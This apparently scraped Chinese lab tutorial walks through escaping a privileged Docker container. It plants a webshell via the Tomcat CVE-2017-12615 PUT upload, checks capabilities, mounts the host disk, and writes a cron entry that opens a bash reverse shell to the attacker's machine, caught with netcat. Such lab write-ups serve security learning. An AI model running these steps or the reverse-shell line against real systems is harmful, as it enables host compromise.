当前位置: 首页 > article >正文

特权模式docker逃逸

目录

1.环境

2.上线哥斯拉

3.特权模式逃逸

1.判断是否为docker环境

2.判断是否为特权模式

3.挂载宿主机磁盘到docker

 4.计划任务反弹shell


1.环境

ubuntu部署一个存在CVE-2017-12615的docker:   (ip:192.168.117.147)    

kali(ip:192.168.117.128)

哥斯拉

2.上线哥斯拉

这里用PUT上传哥斯拉生成的jsp马直接上线:

3.特权模式逃逸

1.判断是否为docker环境

ls -alh /.dockerenv    //如果存在即为docker环境

2.判断是否为特权模式

cat /proc/self/status | grep CapEff	

//cat /proc/self/status​ 用于查看当前进程的状态信息。
//grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
//capability ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

 如果是这两种情况之一,即可判断为当前docker为特权模式启动 :

0000003fffffffff
0000001fffffffff

3.挂载宿主机磁盘到docker

fdisk -l                 //列出所有磁盘,找到宿主机的磁盘
mkdir ceshi              //创建一个目录用于挂载磁盘
mount /dev/sda1  ceshi   //将宿主机的磁盘挂载到ceshi目录下,即可操作宿主机磁盘上的内容了

 4.计划任务反弹shell

当前docker没有vi,vim,nano等,这里用echo写入:

touch test.sh                
echo 'bash -i >& /dev/tcp/192.168.117.128/4444 0>&1' >test.sh    
echo '* * * * * root bash test.sh' >> /etc/crontab    

然后kali这边监听就可以了:

nc -lvvp 4444


http://www.kler.cn/a/523896.html

相关文章:

  • 架构技能(六):软件设计(下)
  • Cursor 帮你写一个小程序
  • 机器人基础深度学习基础
  • 前端性能优化:HMR热更新和预获取加载
  • Spring Security(maven项目) 3.0.2.9版本
  • ChirpIoT技术的优势以及局限性
  • 如何解决跨浏览器兼容性问题
  • DFS深度优先搜索
  • 数据分析系列--②RapidMiner导入数据和存储过程
  • Node.js与MySQL模块结合:打造安全高效的用户信息管理系统
  • vscode插件汇总表-笔记
  • 装出字符串中国第一个匹配项的下标
  • UE求职Demo开发日志#14 把特效换成通过GC应用,同时完善每段的特效,增加显示物品信息的UI
  • 【落羽的落羽 数据结构篇】顺序表
  • OpenCV:形态学操作总结
  • IO进程寒假作业DAY6
  • 洛谷U525322 优美区间
  • PHP EOF (Heredoc) 详解
  • 《多阶段渐进式图像修复》学习笔记
  • centos7安装SVN
  • Unity游戏(Assault空对地打击)开发(1) 创建项目和选择插件
  • LCD液晶屏的工作原理以及背光模组
  • 揭示Baklib企业内容管理系统CMS的核心功能与应用价值
  • 【Rust自学】16.3. 共享状态的并发
  • 学历赋
  • 动态规划DP 数字三角形模型(模型分析+例题分析+C++代码实现)(数字三角形、摘花生、最低通行费用、方格取数、传纸条)